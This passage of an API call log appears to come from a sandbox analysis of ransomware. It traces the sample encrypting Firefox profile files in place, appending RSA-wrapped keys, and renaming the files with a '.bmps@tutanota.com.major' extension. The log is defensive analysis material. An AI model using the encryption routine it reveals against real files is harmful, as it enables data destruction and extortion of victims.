returned 0x670020 [0234.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x901d0) returned 0x712020 [0234.487] ReadFile (in: hFile=0x1a34, lpBuffer=0x670020, nNumberOfBytesToRead=0x901d0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x670020*, lpNumberOfBytesRead=0x2e3f9b4*=0x901d0, lpOverlapped=0x0) returned 1 [0234.515] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-590288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0234.515] WriteFile (in: hFile=0x1a34, lpBuffer=0x712020*, nNumberOfBytesToWrite=0x901d0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x712020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x901d0, lpOverlapped=0x0) returned 1 [0234.517] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x901d0 [0234.517] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0234.517] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0234.517] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0234.517] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0234.517] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0234.517] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0234.517] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+5t+BE4BK/ZGz2p8hUpHzKPg3W3KvEjPnD5W2AZY81YhbmUvaKigE1Qjmm5PPx81\n0HZrBHYRjN436C99hXRFoj6i+0S89xeLXXlLC95lStq6Xk0HiyC4Q0BrcmELQDTx\nmv8Hn5QZFo4se1wuj8znv84qL6uvr0HDPJFuAzD9WuyiFsgrg8sFV+n0J0/brMoJ\nSBFqekWCP1dkrJStEykpZJAfttENL2KiGu/SYlRPTQ9C37hl/ar/wdSZMKyQX/QM\nDGrXhL30HeCjqbg48H3sw3LWyF1Cok4hiA7gFe3MH0izuSMFFHwJhaSxpUzoKBW5\nd4SyBMFyyTOE/EtsuXgpNw==\n", pcchString=0x2e3f9a8) returned 1 [0234.517] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0234.517] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0234.517] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0234.517] CloseHandle (hObject=0x1a34) returned 1 [0234.518] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-wal"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-wal.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0234.522] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0234.522] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm", dwFileAttributes=0x80) returned 1 [0234.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664468 [0234.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60de60 [0234.522] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0234.523] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=32768) returned 1 [0234.523] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8000) returned 0x33d5010 [0234.523] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8000) returned 0x33dd018 [0234.523] ReadFile (in: hFile=0x1a34, lpBuffer=0x33d5010, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesRead=0x2e3f9b4*=0x8000, lpOverlapped=0x0) returned 1 [0234.612] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0234.612] WriteFile (in: hFile=0x1a34, lpBuffer=0x33dd018*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33dd018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8000, lpOverlapped=0x0) returned 1 [0234.613] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8000 [0234.613] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0234.613] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0234.613] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0234.613] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0234.613] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0234.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0234.613] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nJlE7ZLQqRbIlj6t22xfUgCAr2sJsJTV/RWXEWHfa0eQKPS6yXqv/YVJEGsYtKVf\nIOF3LT+ui3F/RCYG3OuXaDDeZcYriw9WSIgB8rmIwSz19ZekoT1SwtCBdJiQ2OEe\nWVIvErlfbIeyqAcUtfpxzyutMqNUlz3gMauOBc4CzCbpDg6RvUwAZXveOMPUu6X5\nPX21uO0K9SPnS93aBAa9NtxWWRGwkLiejJhlxSKEWDAnN7BIrYH3vzfb3INj2/tQ\n+q4WgvI0PUy0nccSwH44u+ByWvHlUAPBRwYyRFbDcSJskez8PB7TAwSNZRGCO+/5\nly+zbjg2E6znUn0dTqLFjA==\n", pcchString=0x2e3f9a8) returned 1 [0234.613] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0234.614] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0234.614] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0234.614] CloseHandle (hObject=0x1a34) returned 1 [0234.614] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-shm"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-shm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-shm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0234.616] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0234.616] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite", dwFileAttributes=0x80) returned 1 [0234.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666fb0 [0234.616] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66ad60 [0234.616] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0234.617] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5242880) returned 1 [0234.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x500000) returned 0x354e020 [0234.617] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x500000) returned 0x3a5b020 [0234.618] ReadFile (in: hFile=0x1a34, lpBuffer=0x354e020, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354e020*, lpNumberOfBytesRead=0x2e3f9b4*=0x500000, lpOverlapped=0x0) returned 1 [0234.831] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-5242880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0234.831] WriteFile (in: hFile=0x1a34, lpBuffer=0x3a5b020*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3a5b020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x500000, lpOverlapped=0x0) returned 1 [0234.972] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x500000 [0234.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0234.972] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0234.982] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0234.982] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0234.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0234.982] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0234.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="B6rVLmMt00I647rxrlhDBoPV5XxFCTEoWSiP1YYaTjka+OX2YfnoG1kXQINj8xl4\nMw22jJT9O8T8Y25L9KWLVzqZqE5t0R4kz9sEUXYlljaDFnPrbp4lzP1AIdzZkGVt\nXyExk0jm8aCygmEMY4op187om1iIrvsi2a2EKI8s36DLifdsMB0R4PZ8ffsY8mSg\nj1P74EdT9tgneugzhka52jAOgJLdl4jAOT/SWoYdoCVq3qCaNb9+CjpI3MD5yuQ6\nV34RfHBhwj938ZeDl9uI1K4gjZUEWSdRYK0icDR1PowPNLdMappu7jRP3kfGAXDi\n0nNk9Agb4VacF0P3EVYDpw==\n", pcchString=0x2e3f9a8) returned 1 [0234.982] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0234.982] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0234.982] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0234.982] CloseHandle (hObject=0x1a34) returned 1 [0234.982] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0234.984] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0234.984] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json", dwFileAttributes=0x80) returned 1 [0234.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666fb0 [0234.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66ac48 [0234.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0234.985] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=10542) returned 1 [0234.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x292e) returned 0x2f81868 [0234.985] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x292e) returned 0x2f39028 [0234.985] ReadFile (in: hFile=0x1a34, lpBuffer=0x2f81868, nNumberOfBytesToRead=0x292e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesRead=0x2e3f9b4*=0x292e, lpOverlapped=0x0) returned 1 [0235.137] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-10542, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0235.137] WriteFile (in: hFile=0x1a34, lpBuffer=0x2f39028*, nNumberOfBytesToWrite=0x292e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x292e, lpOverlapped=0x0) returned 1 [0235.137] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x292e [0235.137] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.137] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.137] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0235.137] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0235.138] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0235.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0235.138] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DmnLd4rv+jUZYjHY/JKKKr1D1mSKoSflACRafzvrCpJykLfOD5r06mjFkG87kxx1\nBlWCdagi/KDmJObxqlrTZHhRa1hxDVbxxl7v5kNwjtGa5gXD0mdD7gglanTNV5Xf\nl5ipgt25S6ZQThwQQ6a3e5E6bBulP1R+ohTft31q1NTRkGIwwNQOH80GocfVN2PT\nn2LYE4MpczkpVUjskOXzDEoerVuCs1mlbkCku5vGl+kbPjv6xcXacE34P0EDz8r1\nN7bgG9qEK73A/7GyVJ9IfacdFBZ4urVYyyhJYi1rd0tmKlmA85LoLoRFLMUAGx0+\ngzZlKQTTHy3OFOc0tTRZfQ==\n", pcchString=0x2e3f9a8) returned 1 [0235.138] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0235.138] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.138] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.138] CloseHandle (hObject=0x1a34) returned 1 [0235.138] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\extensions.json.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\extensions.json.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0235.140] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0235.140] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", dwFileAttributes=0x80) returned 1 [0235.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6674b8 [0235.140] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66a270 [0235.140] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0235.141] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524288) returned 1 [0235.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80000) returned 0x675020 [0235.141] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80000) returned 0x708020 [0235.141] ReadFile (in: hFile=0x1a34, lpBuffer=0x675020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x675020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0235.315] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0235.315] WriteFile (in: hFile=0x1a34, lpBuffer=0x708020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x708020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0235.316] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80000 [0235.317] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.317] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.317] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0235.318] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0235.318] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0235.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0235.318] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rqT9qPpEDS0J+f75o51oIBvvFIgmQlZHrIi9eMdkvHYZjM9ceMrkWvMmlhHYzogD\n4m+DwBfQKCcSk8ZJelRqX2LbszWe9S/4q2A8A0Nb1YHvhwEIcW9hP71UOCE33NeR\n1pVYGbjlHcUKOn5rlgkKvWBSHE23BYwHttflP5mx6IeOZID5IRmQKEjcAgAAJndG\nG+eMEtaMsGtZKvS6m2JGS2Z0T+UQHSggljQHcbDAQWH06PENNW74PVGIvGkq8QyR\ngl1XgIlr4AKOyXJRIzDFXhXJqDWoYnVrkoKWzjuaV4ij46yYFoW2eoNS3sLvyYGu\nhAwpBhatclBXbb4I+7QtCQ==\n", pcchString=0x2e3f9a8) returned 1 [0235.318] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0235.318] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0235.318] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0235.318] CloseHandle (hObject=0x1a34) returned 1 [0235.318] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0235.322] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0235.322] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite", dwFileAttributes=0x80) returned 1 [0235.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0235.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e0b0 [0235.323] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\content-prefs.sqlite" (normalized: 